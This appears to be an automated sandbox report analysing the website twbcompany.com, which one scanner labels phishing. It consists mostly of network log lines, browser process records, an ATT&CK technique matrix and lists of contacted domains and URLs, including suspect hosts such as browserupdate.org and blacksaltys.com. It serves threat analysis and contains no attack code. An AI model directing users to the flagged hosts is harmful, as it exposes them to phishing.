Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.5:49932 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@24/220@56/11

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2472 --field-trial-handle=2436,i,2595597613527207929,13109168744014609588,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://twbcompany.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2472 --field-trial-handle=2436,i,2595597613527207929,13109168744014609588,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
http://twbcompany.com	100%	SlashNext	Fraudulent Website type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://stats.g.doubleclick.net/g/collect	0%	URL Reputation	safe
https://ampcid.google.com/v1/publisher:getClientId	0%	URL Reputation	safe
https://stats.g.doubleclick.net/j/collect	0%	URL Reputation	safe
https://schema.org	0%	URL Reputation	safe
https://yoast.com/wordpress/plugins/seo/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
www.twbcompany.com	192.185.125.111	true	false	unknown
blacksaltys.com	77.232.36.155	true	false	unknown
code.jquery.com	151.101.2.137	true	false	unknown
virtual.urban-orthodontics.com	185.76.79.50	true	false	unknown
twbcompany.com	192.185.125.111	true	false	unknown
www.google.com	142.250.185.196	true	false	unknown
browserupdate.org	104.21.7.183	true	false	unknown
browser-update.org	172.67.69.206	true	false	unknown
s-part-0032.t-0009.t-msedge.net	13.107.246.60	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
c.6sc.co	unknown	unknown	false	unknown
b.6sc.co	unknown	unknown	false	unknown
j.6sc.co	unknown	unknown	false	unknown
ipv6.6sc.co	unknown	unknown	false	unknown
secure.leadforensics.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/HFTB-Tunnel.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Upr_CD391.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2020/11/commercial-truck-header.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-with-header.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/09/longitudinal-rail.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1	false	unknown
https://www.twbcompany.com/2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/02/AlTB-Door-hinge-Reinf-RH.jpg	false	unknown
https://twbcompany.com/	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/style.css?ver=6.5.4	false	unknown
https://www.twbcompany.com/services/optimized-material-utilization/	false	unknown
https://www.twbcompany.com/services/product-design/	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/flags.png	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-max-640.css	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg	false	unknown
https://www.twbcompany.com/2016/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg	false	unknown
https://browser-update.org/static/img/small/c.png	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/b-pillar-outer.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/logistics-hero.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2021/03/typical-chassis-structure-focusing-on-frame-rails.png	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2020/11/Picture-of-truck1.jpg	false	unknown
http://twbcompany.com/	true	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/09/hot-formed-hero.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/HFTB-MP-Rr-Rail-Lwr-1300-410.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2021/03/typical-cab-structural.png	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/font-lightcase.css	false	unknown
https://www.twbcompany.com/services/forming-analysis/	false	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/b-pillar-inner.jpg	false	unknown
https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_199.2.dr, chromecache_173.2.dr	false	URL Reputation: safe	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/09/twb-video-thumb.jpg);	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/es/products/aluminum-tailor-welded-blanks/	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-swi	chromecache_229.2.dr	false		unknown
https://www.youtube.com/embed/7SQDZXqsaFM?autoplay=true	chromecache_156.2.dr	false		unknown
https://ampcid.google.com/v1/publisher:getClientId	chromecache_206.2.dr, chromecache_253.2.dr	false	URL Reputation: safe	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/twb-thumb.jpg);	chromecache_251.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png);	chromecache_251.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/Member-Floor-Side-Inner-Front-Frt-Rail-Up	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/?p=108	chromecache_162.2.dr	false		unknown
https://www.twbcompany.com/services/forming-analysis/#breadcrumb	chromecache_189.2.dr	false		unknown
https://www.twbcompany.com/?p=106	chromecache_189.2.dr	false		unknown
https://www.twbcompany.com/?p=104	chromecache_266.2.dr	false		unknown
https://stats.g.doubleclick.net/j/collect	chromecache_253.2.dr	false	URL Reputation: safe	unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/03/HFTB-MP-Rail-Frt-Flr-1300-410.jpg);	chromecache_265.2.dr	false		unknown
https://secure.leadforensics.com/js/131326.js	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/wp-json/	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/applications/#liftgate	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg);	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg);	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/wp-json/wp/v2/pages/3692	chromecache_229.2.dr	false		unknown
https://schema.org	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false	URL Reputation: safe	unknown
https://www.twbcompany.com/about-twb/	chromecache_229.2.dr	false		unknown
https://www.tailored-blanks.com/en/	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/applications/#door-inner-headerless	chromecache_156.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2024/02/IATF-16949-COMBINED-2.5.24.pdf	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/?page_id=7433	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/products/	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/services/logistics-and-service/#breadcrumb	chromecache_162.2.dr	false		unknown
https://www.twbcompany.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.twbcompany.com%2Fcommercia	chromecache_229.2.dr	false		unknown
https://www.twbcompany.com/#breadcrumb	chromecache_251.2.dr	false		unknown
https://www.twbcompany.com/2016/wp-content/uploads/2024/02/Q1-Cert-SIM-Main-Q1-Details.pdf	chromecache_156.2.dr, chromecache_162.2.dr, chromecache_265.2.dr, chromecache_266.2.dr, chromecache_251.2.dr, chromecache_279.2.dr, chromecache_189.2.dr, chromecache_229.2.dr	false		unknown
